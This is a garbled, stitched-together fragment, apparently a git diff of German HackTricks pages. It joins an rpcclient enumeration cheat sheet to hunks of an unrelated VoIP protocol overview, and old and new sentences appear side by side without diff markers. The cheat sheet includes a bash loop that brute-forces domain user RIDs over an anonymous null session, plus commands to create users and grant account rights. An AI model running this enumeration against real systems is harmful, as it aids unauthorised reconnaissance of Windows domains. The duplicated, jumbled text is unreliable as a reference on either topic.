Das **`rpcclient`**-Dienstprogramm von Samba wird verwendet, um mit **RPC-Endpunkten über benannte Pipes** zu interagieren. Nach der **Herstellung einer SMB-Sitzung**, die oft Anmeldeinformationen erfordert, können die folgenden Befehle an die SAMR-, LSARPC- und LSARPC-DS-Schnittstellen ausgegeben werden.
|
||||
|
||||
#### Serverinformationen
|
||||
|
||||
* Um **Serverinformationen** zu erhalten: wird der Befehl `srvinfo` verwendet.
|
||||
|
||||
#### Auflistung von Benutzern
|
||||
|
||||
* **Benutzer können aufgelistet werden** mit: `querydispinfo` und `enumdomusers`.
|
||||
* **Details eines Benutzers** mit: `queryuser <0xrid>`.
|
||||
* **Gruppen eines Benutzers** mit: `queryusergroups <0xrid>`.
|
||||
* **Die SID eines Benutzers wird abgerufen** durch: `lookupnames <username>`.
|
||||
* **Aliases von Benutzern** mit: `queryuseraliases [builtin|domain] <sid>`.
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
rpcclient -N -U "" [IP_ADDRESS] -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
|
||||
done
|
||||
|
||||
# samrdump.py can also serve this purpose
|
||||
```
|
||||
#### Aufzählung von Gruppen
|
||||
|
||||
* **Gruppen** mit: `enumdomgroups`.
|
||||
* **Details einer Gruppe** mit: `querygroup <0xrid>`.
|
||||
* **Mitglieder einer Gruppe** durch: `querygroupmem <0xrid>`.
|
||||
|
||||
#### Aufzählung von Alias-Gruppen
|
||||
|
||||
* **Alias-Gruppen** mit: `enumalsgroups <builtin|domain>`.
|
||||
* **Mitglieder einer Alias-Gruppe** mit: `queryaliasmem builtin|domain <0xrid>`.
|
||||
|
||||
#### Aufzählung von Domänen
|
||||
|
||||
* **Domänen** mit: `enumdomains`.
|
||||
* **Die SID einer Domäne wird abgerufen** durch: `lsaquery`.
|
||||
* **Domäneninformationen werden erhalten** durch: `querydominfo`.
|
||||
|
||||
#### Aufzählung von Freigaben
|
||||
|
||||
* **Alle verfügbaren Freigaben** mit: `netshareenumall`.
|
||||
* **Informationen über eine bestimmte Freigabe werden abgerufen** mit: `netsharegetinfo <share>`.
|
||||
|
||||
#### Zusätzliche Operationen mit SIDs
|
||||
|
||||
* **SIDs nach Namen** mit: `lookupnames <username>`.
|
||||
* **Weitere SIDs** durch: `lsaenumsid`.
|
||||
* **RID-Zyklus zur Überprüfung weiterer SIDs** wird durchgeführt mit: `lookupsids <sid>`.
|
||||
|
||||
#### **Zusätzliche Befehle**
|
||||
|
||||
| **Befehl** | **Schnittstelle** | **Beschreibung** |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| queryuser | SAMR | Benutzerinformationen abrufen |
|
||||
| querygroup | Gruppeninformationen abrufen | |
|
||||
| querydominfo | Domäneninformationen abrufen | |
|
||||
| enumdomusers | Domänenbenutzer auflisten | |
|
||||
| enumdomgroups | Domänengruppen auflisten | |
|
||||
| createdomuser | Einen Domänenbenutzer erstellen | |
|
||||
| deletedomuser | Einen Domänenbenutzer löschen | |
|
||||
| lookupnames | LSARPC | Benutzernamen in SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) Werte umschauen |
|
||||
| lookupsids | SIDs in Benutzernamen umschauen (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) Zyklus) | |
|
||||
| lsaaddacctrights | Rechte zu einem Benutzerkonto hinzufügen | |
|
||||
| lsaremoveacctrights | Rechte von einem Benutzerkonto entfernen | |
|
||||
| dsroledominfo | LSARPC-DS | Primäre Domäneninformationen abrufen |
|
||||
| dsenumdomtrusts | Vertrauenswürdige Domänen innerhalb eines AD-Forsts auflisten | |
|
||||
|
||||
Um **besser zu verstehen**, wie die Tools _**samrdump**_ **und** _**rpcdump**_ funktionieren, sollten Sie [**Pentesting MSRPC**](../135-pentesting-msrpc.md) lesen.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,20 +16,6 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Signalisierungsprotokolle
|
||||
|
||||
### SIP (Session Initiation Protocol)
|
||||
|
@ -44,49 +30,49 @@ Dies ist der Industriestandard, für weitere Informationen siehe:
|
|||
|
||||
MGCP (Media Gateway Control Protocol) ist ein **Signalisierungs-** und **Anrufkontrollprotokoll**, das in RFC 3435 beschrieben ist. Es arbeitet in einer zentralisierten Architektur, die aus drei Hauptkomponenten besteht:
|
||||
|
||||
1. **Call Agent oder Media Gateway Controller (MGC)**: Das Hauptgateway in der MGCP-Architektur ist verantwortlich für die **Verwaltung und Kontrolle der Medien-Gateways**. Es verwaltet die Anrufaufbau-, Änderungs- und Beendigungsprozesse. Der MGC kommuniziert mit den Medien-Gateways über das MGCP-Protokoll.
|
||||
2. **Media Gateways (MGs) oder Slave Gateways**: Diese Geräte **konvertieren digitale Medienströme zwischen verschiedenen Netzwerken**, wie z.B. traditioneller leitungsvermittelter Telefonie und paketvermittelten IP-Netzwerken. Sie werden vom MGC verwaltet und führen die von ihm empfangenen Befehle aus. Medien-Gateways können Funktionen wie Transkodierung, Paketierung und Echo-Unterdrückung umfassen.
|
||||
3. **Signaling Gateways (SGs)**: Diese Gateways sind verantwortlich für die **Umwandlung von Signalisierungsnachrichten zwischen verschiedenen Netzwerken**, die eine nahtlose Kommunikation zwischen traditionellen Telefonsystemen (z.B. SS7) und IP-basierten Netzwerken (z.B. SIP oder H.323) ermöglichen. Signalisierungs-Gateways sind entscheidend für die Interoperabilität und stellen sicher, dass Anrufkontrollinformationen ordnungsgemäß zwischen den verschiedenen Netzwerken kommuniziert werden.
|
||||
1. **Call Agent oder Media Gateway Controller (MGC)**: Das Hauptgateway in der MGCP-Architektur ist verantwortlich für die **Verwaltung und Kontrolle der Medien-Gateways**. Es verwaltet die Prozesse zur Anrufeinrichtung, -änderung und -beendigung. Der MGC kommuniziert mit den Medien-Gateways über das MGCP-Protokoll.
|
||||
2. **Media Gateways (MGs) oder Slave Gateways**: Diese Geräte **konvertieren digitale Medienströme zwischen verschiedenen Netzwerken**, wie traditioneller leitungsvermittelter Telefonie und paketvermittelten IP-Netzwerken. Sie werden vom MGC verwaltet und führen die von ihm empfangenen Befehle aus. Medien-Gateways können Funktionen wie Transkodierung, Paketierung und Echo-Unterdrückung umfassen.
|
||||
3. **Signalisierungs-Gateways (SGs)**: Diese Gateways sind verantwortlich für die **Umwandlung von Signalisierungsnachrichten zwischen verschiedenen Netzwerken**, die eine nahtlose Kommunikation zwischen traditionellen Telefonsystemen (z. B. SS7) und IP-basierten Netzwerken (z. B. SIP oder H.323) ermöglichen. Signalisierungs-Gateways sind entscheidend für die Interoperabilität und stellen sicher, dass Anrufkontrollinformationen ordnungsgemäß zwischen den verschiedenen Netzwerken kommuniziert werden.
|
||||
|
||||
Zusammenfassend zentralisiert MGCP die Anrufkontrolllogik im Anrufagenten, was die Verwaltung von Medien- und Signalisierungs-Gateways vereinfacht und eine bessere Skalierbarkeit, Zuverlässigkeit und Effizienz in Telekommunikationsnetzen bietet.
|
||||
|
||||
### SCCP (Skinny Client Control Protocol)
|
||||
|
||||
Skinny Client Control Protocol (SCCP) ist ein **proprietäres Signalisierungs- und Anrufkontrollprotokoll**, das im Besitz von Cisco Systems ist. Es wird hauptsächlich **verwendet** für die Kommunikation zwischen **Cisco Unified Communications Manager** (ehemals bekannt als CallManager) und Cisco IP-Telefonen oder anderen Cisco-Sprach- und Videoendpunkten.
|
||||
Skinny Client Control Protocol (SCCP) ist ein **proprietäres Signalisierungs- und Anrufkontrollprotokoll**, das im Besitz von Cisco Systems ist. Es wird hauptsächlich **verwendet** für die Kommunikation zwischen **Cisco Unified Communications Manager** (ehemals bekannt als CallManager) und Cisco IP-Telefonen oder anderen Cisco Sprach- und Videoendpunkten.
|
||||
|
||||
SCCP ist ein leichtgewichtiges Protokoll, das die Kommunikation zwischen dem Anrufkontrollserver und den Endgeräten vereinfacht. Es wird als "Skinny" bezeichnet, weil es ein minimalistisches Design und reduzierte Bandbreitenanforderungen im Vergleich zu anderen VoIP-Protokollen wie H.323 oder SIP aufweist.
|
||||
SCCP ist ein leichtgewichtiges Protokoll, das die Kommunikation zwischen dem Anrufkontrollserver und den Endgeräten vereinfacht. Es wird als "Skinny" bezeichnet, weil es ein minimalistisches Design und reduzierte Bandbreitenanforderungen im Vergleich zu anderen VoIP-Protokollen wie H.323 oder SIP hat.
|
||||
|
||||
Die Hauptkomponenten eines SCCP-basierten Systems sind:
|
||||
|
||||
1. **Call Control Server**: Dieser Server, typischerweise ein Cisco Unified Communications Manager, verwaltet die Anrufaufbau-, Änderungs- und Beendigungsprozesse sowie andere Telefoniefunktionen wie Anrufweiterleitung, Anrufübertragung und Anrufhalten.
|
||||
2. **SCCP Endpoints**: Dies sind Geräte wie IP-Telefone, Videokonferenzsysteme oder andere Cisco-Sprach- und Videoendpunkte, die SCCP verwenden, um mit dem Anrufkontrollserver zu kommunizieren. Sie registrieren sich beim Server, senden und empfangen Signalisierungsnachrichten und befolgen die Anweisungen des Anrufkontrollservers zur Anrufbearbeitung.
|
||||
1. **Anrufkontrollserver**: Dieser Server, typischerweise ein Cisco Unified Communications Manager, verwaltet die Prozesse zur Anrufeinrichtung, -änderung und -beendigung sowie andere Telefoniefunktionen wie Anrufweiterleitung, Anrufübertragung und Anrufhalten.
|
||||
2. **SCCP-Endpunkte**: Dies sind Geräte wie IP-Telefone, Videokonferenzsysteme oder andere Cisco Sprach- und Videoendpunkte, die SCCP verwenden, um mit dem Anrufkontrollserver zu kommunizieren. Sie registrieren sich beim Server, senden und empfangen Signalisierungsnachrichten und befolgen die Anweisungen des Anrufkontrollservers zur Anrufbearbeitung.
|
||||
3. **Gateways**: Diese Geräte, wie Sprachgateways oder Medien-Gateways, sind verantwortlich für die Umwandlung von Medienströmen zwischen verschiedenen Netzwerken, wie traditioneller leitungsvermittelter Telefonie und paketvermittelten IP-Netzwerken. Sie können auch zusätzliche Funktionen wie Transkodierung oder Echo-Unterdrückung umfassen.
|
||||
|
||||
SCCP bietet eine einfache und effiziente Kommunikationsmethode zwischen Cisco-Anrufkontrollservern und Endgeräten. Es ist jedoch zu beachten, dass **SCCP ein proprietäres Protokoll ist**, was die Interoperabilität mit Nicht-Cisco-Systemen einschränken kann. In solchen Fällen können andere standardisierte VoIP-Protokolle wie SIP geeigneter sein.
|
||||
|
||||
### H.323
|
||||
|
||||
H.323 ist eine **Protokoll-Suite** für die Multimedia-Kommunikation, einschließlich Sprache, Video und Datenkonferenzen über paketvermittelte Netzwerke, wie z.B. IP-basierte Netzwerke. Es wurde von der **International Telecommunication Union** (ITU-T) entwickelt und bietet einen umfassenden Rahmen für die Verwaltung von Multimedia-Kommunikationssitzungen.
|
||||
H.323 ist eine **Protokoll-Suite** für die Multimedia-Kommunikation, einschließlich Sprache, Video und Datenkonferenzen über paketvermittelte Netzwerke, wie IP-basierte Netzwerke. Es wurde von der **International Telecommunication Union** (ITU-T) entwickelt und bietet einen umfassenden Rahmen für die Verwaltung von Multimedia-Kommunikationssitzungen.
|
||||
|
||||
Einige wichtige Komponenten der H.323-Suite sind:
|
||||
|
||||
1. **Terminals**: Dies sind Endgeräte, wie IP-Telefone, Videokonferenzsysteme oder Softwareanwendungen, die H.323 unterstützen und an Multimedia-Kommunikationssitzungen teilnehmen können.
|
||||
2. **Gateways**: Diese Geräte konvertieren Medienströme zwischen verschiedenen Netzwerken, wie traditioneller leitungsvermittelter Telefonie und paketvermittelten IP-Netzwerken, und ermöglichen die Interoperabilität zwischen H.323 und anderen Kommunikationssystemen. Sie können auch zusätzliche Funktionen wie Transkodierung oder Echo-Unterdrückung umfassen.
|
||||
3. **Gatekeepers**: Dies sind optionale Komponenten, die Anrufkontroll- und Verwaltungsdienste in einem H.323-Netzwerk bereitstellen. Sie führen Funktionen wie Adressübersetzung, Bandbreitenmanagement und Zugangssteuerung aus, um Netzwerkressourcen zu verwalten und zu optimieren.
|
||||
4. **Multipoint Control Units (MCUs)**: Diese Geräte erleichtern Mehrpunktkonferenzen, indem sie Medienströme von mehreren Endpunkten verwalten und mischen. MCUs ermöglichen Funktionen wie Video-Layout-Kontrolle, sprachaktivierte Umschaltung und kontinuierliche Präsenz, wodurch es möglich wird, groß angelegte Konferenzen mit mehreren Teilnehmern zu veranstalten.
|
||||
3. **Gatekeeper**: Dies sind optionale Komponenten, die Anrufkontroll- und Verwaltungsdienste in einem H.323-Netzwerk bereitstellen. Sie führen Funktionen wie Adressübersetzung, Bandbreitenmanagement und Zugangssteuerung aus, um Netzwerkressourcen zu verwalten und zu optimieren.
|
||||
4. **Multipoint Control Units (MCUs)**: Diese Geräte erleichtern Mehrpunktkonferenzen, indem sie Medienströme von mehreren Endpunkten verwalten und mischen. MCUs ermöglichen Funktionen wie Video-Layout-Kontrolle, sprachaktiviertes Umschalten und kontinuierliche Präsenz, wodurch es möglich wird, groß angelegte Konferenzen mit mehreren Teilnehmern zu veranstalten.
|
||||
|
||||
H.323 unterstützt eine Reihe von Audio- und Video-Codecs sowie andere ergänzende Dienste wie Anrufweiterleitung, Anrufübertragung, Anrufhalten und Anrufwarteschleife. Trotz seiner weit verbreiteten Akzeptanz in den frühen Tagen von VoIP wurde H.323 allmählich durch modernere und flexiblere Protokolle wie das **Session Initiation Protocol (SIP)** ersetzt, das eine bessere Interoperabilität und einfachere Implementierung bietet. Dennoch wird H.323 in vielen Altsystemen weiterhin verwendet und von verschiedenen Geräteanbietern unterstützt.
|
||||
H.323 unterstützt eine Reihe von Audio- und Video-Codecs sowie andere ergänzende Dienste wie Anrufweiterleitung, Anrufübertragung, Anrufhalten und Anrufwarteschleife. Trotz seiner weit verbreiteten Akzeptanz in den frühen Tagen von VoIP wurde H.323 allmählich durch modernere und flexiblere Protokolle wie das **Session Initiation Protocol (SIP)** ersetzt, das eine bessere Interoperabilität und einfachere Implementierung bietet. H.323 bleibt jedoch in vielen Altsystemen im Einsatz und wird weiterhin von verschiedenen Geräteanbietern unterstützt.
|
||||
|
||||
### IAX (Inter Asterisk eXchange)
|
||||
|
||||
IAX (Inter-Asterisk eXchange) ist ein **Signalisierungs- und Anrufkontrollprotokoll**, das hauptsächlich für die Kommunikation zwischen Asterisk PBX (Private Branch Exchange)-Servern und anderen VoIP-Geräten verwendet wird. Es wurde von Mark Spencer, dem Schöpfer der Asterisk Open-Source-PBX-Software, als Alternative zu anderen VoIP-Protokollen wie SIP und H.323 entwickelt.
|
||||
IAX (Inter-Asterisk eXchange) ist ein **Signalisierungs- und Anrufkontrollprotokoll**, das hauptsächlich für die Kommunikation zwischen Asterisk PBX (Private Branch Exchange) Servern und anderen VoIP-Geräten verwendet wird. Es wurde von Mark Spencer, dem Schöpfer der Asterisk Open-Source-PBX-Software, als Alternative zu anderen VoIP-Protokollen wie SIP und H.323 entwickelt.
|
||||
|
||||
IAX ist bekannt für seine **Einfachheit, Effizienz und einfache Implementierung**. Einige wichtige Merkmale von IAX sind:
|
||||
|
||||
1. **Einzelner UDP-Port**: IAX verwendet einen einzigen UDP-Port (4569) für sowohl Signalisierungs- als auch Mediendatenverkehr, was die Firewall- und NAT-Überwindung vereinfacht und die Bereitstellung in verschiedenen Netzwerkumgebungen erleichtert.
|
||||
2. **Binäres Protokoll**: Im Gegensatz zu textbasierten Protokollen wie SIP ist IAX ein binäres Protokoll, das den Bandbreitenverbrauch reduziert und die Effizienz bei der Übertragung von Signalisierungs- und Mediendaten erhöht.
|
||||
2. **Binäres Protokoll**: Im Gegensatz zu textbasierten Protokollen wie SIP ist IAX ein binäres Protokoll, das den Bandbreitenverbrauch reduziert und es effizienter macht, Signalisierungs- und Mediendaten zu übertragen.
|
||||
3. **Trunking**: IAX unterstützt Trunking, das es ermöglicht, mehrere Anrufe in einer einzigen Netzwerkverbindung zu kombinieren, wodurch der Overhead reduziert und die Bandbreitennutzung verbessert wird.
|
||||
4. **Native Verschlüsselung**: IAX unterstützt die Verschlüsselung nativ, indem Methoden wie RSA für den Schlüsselaustausch und AES für die Medienverschlüsselung verwendet werden, um eine sichere Kommunikation zwischen Endpunkten zu gewährleisten.
|
||||
4. **Native Verschlüsselung**: IAX hat integrierte Unterstützung für Verschlüsselung, verwendet Methoden wie RSA für den Schlüsselaustausch und AES für die Medienverschlüsselung, um eine sichere Kommunikation zwischen Endpunkten zu gewährleisten.
|
||||
5. **Peer-to-Peer-Kommunikation**: IAX kann für die direkte Kommunikation zwischen Endpunkten ohne die Notwendigkeit eines zentralen Servers verwendet werden, was eine einfachere und effizientere Anrufweiterleitung ermöglicht.
|
||||
|
||||
Trotz seiner Vorteile hat IAX einige Einschränkungen, wie den primären Fokus auf das Asterisk-Ökosystem und eine geringere Verbreitung im Vergleich zu etablierten Protokollen wie SIP. Daher ist IAX möglicherweise nicht die beste Wahl für die Interoperabilität mit Nicht-Asterisk-Systemen oder -Geräten. Für diejenigen, die im Asterisk-Umfeld arbeiten, bietet IAX jedoch eine robuste und effiziente Lösung für die VoIP-Kommunikation.
|
||||
|
@ -95,13 +81,13 @@ Trotz seiner Vorteile hat IAX einige Einschränkungen, wie den primären Fokus a
|
|||
|
||||
### SDP (Session Description Protocol)
|
||||
|
||||
SDP (Session Description Protocol) ist ein **textbasiertes Format**, das verwendet wird, um die Eigenschaften von Multimedia-Sitzungen, wie Sprache, Video oder Datenkonferenzen, über IP-Netzwerke zu beschreiben. Es wurde von der **Internet Engineering Task Force (IETF)** entwickelt und ist in **RFC 4566** definiert. SDP behandelt nicht die tatsächliche Medienübertragung oder Sitzungsherstellung, sondern wird in Verbindung mit anderen Signalisierungsprotokollen, wie **SIP (Session Initiation Protocol)**, verwendet, um Informationen über die Medienströme und deren Attribute auszuhandeln und auszutauschen.
|
||||
SDP (Session Description Protocol) ist ein **textbasiertes Format**, das verwendet wird, um die Eigenschaften von Multimedia-Sitzungen, wie Sprache, Video oder Datenkonferenzen, über IP-Netzwerke zu beschreiben. Es wurde von der **Internet Engineering Task Force (IETF)** entwickelt und ist in **RFC 4566** definiert. SDP behandelt nicht die tatsächliche Medienübertragung oder die Sitzungsherstellung, sondern wird in Verbindung mit anderen Signalisierungsprotokollen, wie **SIP (Session Initiation Protocol)**, verwendet, um Informationen über die Medienströme und deren Attribute auszuhandeln und auszutauschen.
|
||||
|
||||
Einige wichtige Elemente von SDP sind:
|
||||
|
||||
1. **Sitzungsinformationen**: SDP beschreibt die Einzelheiten einer Multimedia-Sitzung, einschließlich Sitzungsname, Sitzungsbeschreibung, Startzeit und Endzeit.
|
||||
2. **Medienströme**: SDP definiert die Eigenschaften von Medienströmen, wie den Medientyp (Audio, Video oder Text), das Transportprotokoll (z.B. RTP oder SRTP) und das Medienformat (z.B. Codec-Informationen).
|
||||
3. **Verbindungsinformationen**: SDP bietet Informationen über die Netzwerkadresse (IP-Adresse) und die Portnummer, an die die Medien gesendet oder empfangen werden sollen.
|
||||
2. **Medienströme**: SDP definiert die Eigenschaften von Medienströmen, wie den Medientyp (Audio, Video oder Text), das Transportprotokoll (z. B. RTP oder SRTP) und das Medienformat (z. B. Codec-Informationen).
|
||||
3. **Verbindungsinformationen**: SDP liefert Informationen über die Netzwerkadresse (IP-Adresse) und die Portnummer, an die die Medien gesendet oder empfangen werden sollen.
|
||||
4. **Attribute**: SDP unterstützt die Verwendung von Attributen, um zusätzliche, optionale Informationen über eine Sitzung oder einen Medienstrom bereitzustellen. Attribute können verwendet werden, um verschiedene Funktionen wie Verschlüsselungsschlüssel, Bandbreitenanforderungen oder Mediensteuerungsmechanismen anzugeben.
|
||||
|
||||
SDP wird typischerweise im folgenden Prozess verwendet:
|
||||
|
@ -109,37 +95,26 @@ SDP wird typischerweise im folgenden Prozess verwendet:
|
|||
1. Eine initiierende Partei erstellt eine SDP-Beschreibung der vorgeschlagenen Multimedia-Sitzung, einschließlich der Einzelheiten der Medienströme und deren Attribute.
|
||||
2. Die SDP-Beschreibung wird an die empfangende Partei gesendet, normalerweise eingebettet in eine Signalisierungsprotokollnachricht wie SIP oder RTSP.
|
||||
3. Die empfangende Partei verarbeitet die SDP-Beschreibung und kann basierend auf ihren Fähigkeiten die vorgeschlagene Sitzung akzeptieren, ablehnen oder ändern.
|
||||
4. Die endgültige SDP-Beschreibung wird als Teil der Signalisierungsprotokollnachricht an die initiierende Partei zurückgesendet, um den Aushandlungsprozess abzuschließen.
|
||||
4. Die endgültige SDP-Beschreibung wird als Teil der Signalisierungsprotokollnachricht an die initiierende Partei zurückgesendet, um den Verhandlungsprozess abzuschließen.
|
||||
|
||||
Die Einfachheit und Flexibilität von SDP machen es zu einem weit verbreiteten Standard zur Beschreibung von Multimedia-Sitzungen in verschiedenen Kommunikationssystemen und spielen eine entscheidende Rolle bei der Einrichtung und Verwaltung von Echtzeit-Multimedia-Sitzungen über IP-Netzwerke.
|
||||
|
||||
### RTP / RTCP / SRTP / ZRTP
|
||||
|
||||
1. **RTP (Real-time Transport Protocol)**: RTP ist ein Netzwerkprotokoll, das für die Übertragung von Audio- und Videodaten oder anderen Echtzeitmedien über IP-Netzwerke entwickelt wurde. Es wurde von der **IETF** entwickelt und in **RFC 3550** definiert. RTP wird häufig mit Signalisierungsprotokollen wie SIP und H.323 verwendet, um Multimedia-Kommunikation zu ermöglichen. RTP bietet Mechanismen für **Synchronisation**, **Sequenzierung** und **Zeitstempelung** von Medienströmen, um eine reibungslose und zeitgerechte Medienwiedergabe zu gewährleisten.
|
||||
1. **RTP (Real-time Transport Protocol)**: RTP ist ein Netzwerkprotokoll, das für die Bereitstellung von Audio- und Videodaten oder anderen Echtzeitmedien über IP-Netzwerke entwickelt wurde. Entwickelt von der **IETF** und definiert in **RFC 3550**, wird RTP häufig mit Signalisierungsprotokollen wie SIP und H.323 verwendet, um Multimedia-Kommunikation zu ermöglichen. RTP bietet Mechanismen für **Synchronisation**, **Sequenzierung** und **Zeitstempelung** von Medienströmen, um eine reibungslose und zeitgerechte Medienwiedergabe zu gewährleisten.
|
||||
2. **RTCP (Real-time Transport Control Protocol)**: RTCP ist ein Begleitprotokoll zu RTP, das zur Überwachung der Dienstgüte (QoS) verwendet wird und Feedback zur Übertragung von Medienströmen bereitstellt. Definiert im selben **RFC 3550** wie RTP, **tauscht RTCP regelmäßig Steuerpakete zwischen den Teilnehmern einer RTP-Sitzung aus**. Es teilt Informationen wie Paketverlust, Jitter und Round-Trip-Zeit mit, was bei der Diagnose und Anpassung an Netzwerkbedingungen hilft und die Gesamtqualität der Medien verbessert.
|
||||
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP ist eine Erweiterung von RTP, die **Verschlüsselung**, **Nachrichtenauthentifizierung** und **Wiedergabeschutz** für Medienströme bereitstellt, um die sichere Übertragung sensibler Audio- und Videodaten zu gewährleisten. Definiert in **RFC 3711**, verwendet SRTP kryptografische Algorithmen wie AES zur Verschlüsselung und HMAC-SHA1 zur Nachrichtenauthentifizierung. SRTP wird häufig in Kombination mit sicheren Signalisierungsprotokollen wie SIP über TLS verwendet, um End-to-End-Sicherheit in der Multimedia-Kommunikation zu gewährleisten.
|
||||
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP ist eine Erweiterung von RTP, die **Verschlüsselung**, **Nachrichtenauthentifizierung** und **Wiedergabeschutz** für Medienströme bereitstellt und eine sichere Übertragung sensibler Audio- und Videodaten gewährleistet. Definiert in **RFC 3711**, verwendet SRTP kryptografische Algorithmen wie AES zur Verschlüsselung und HMAC-SHA1 zur Nachrichtenauthentifizierung. SRTP wird häufig in Kombination mit sicheren Signalisierungsprotokollen wie SIP über TLS verwendet, um End-to-End-Sicherheit in der Multimedia-Kommunikation zu gewährleisten.
|
||||
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP ist ein kryptografisches Schlüsselvereinbarungsprotokoll, das **End-to-End-Verschlüsselung** für RTP-Medienströme bereitstellt. Entwickelt von Phil Zimmermann, dem Schöpfer von PGP, wird ZRTP in **RFC 6189** beschrieben. Im Gegensatz zu SRTP, das auf Signalisierungsprotokollen für den Schlüsselaustausch angewiesen ist, wurde ZRTP entwickelt, um unabhängig vom Signalisierungsprotokoll zu arbeiten. Es verwendet **Diffie-Hellman-Schlüsselaustausch**, um ein gemeinsames Geheimnis zwischen den kommunizierenden Parteien zu etablieren, ohne vorheriges Vertrauen oder eine Public-Key-Infrastruktur (PKI) zu erfordern. ZRTP umfasst auch Funktionen wie **Short Authentication Strings (SAS)**, um sich gegen Man-in-the-Middle-Angriffe zu schützen.
|
||||
|
||||
Diese Protokolle spielen eine wesentliche Rolle bei der **Übertragung und Sicherung der Echtzeit-Multimedia-Kommunikation über IP-Netzwerke**. Während RTP und RTCP die tatsächliche Medienübertragung und Qualitätsüberwachung behandeln, stellen SRTP und ZRTP sicher, dass die übertragenen Medien vor Abhören, Manipulation und Wiederholungsangriffen geschützt sind.
|
||||
Diese Protokolle spielen eine wesentliche Rolle bei der **Bereitstellung und Sicherung der Echtzeit-Multimedia-Kommunikation über IP-Netzwerke**. Während RTP und RTCP die tatsächliche Medienübertragung und Qualitätsüberwachung behandeln, stellen SRTP und ZRTP sicher, dass die übertragenen Medien vor Abhören, Manipulation und Wiederholungsangriffen geschützt sind.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
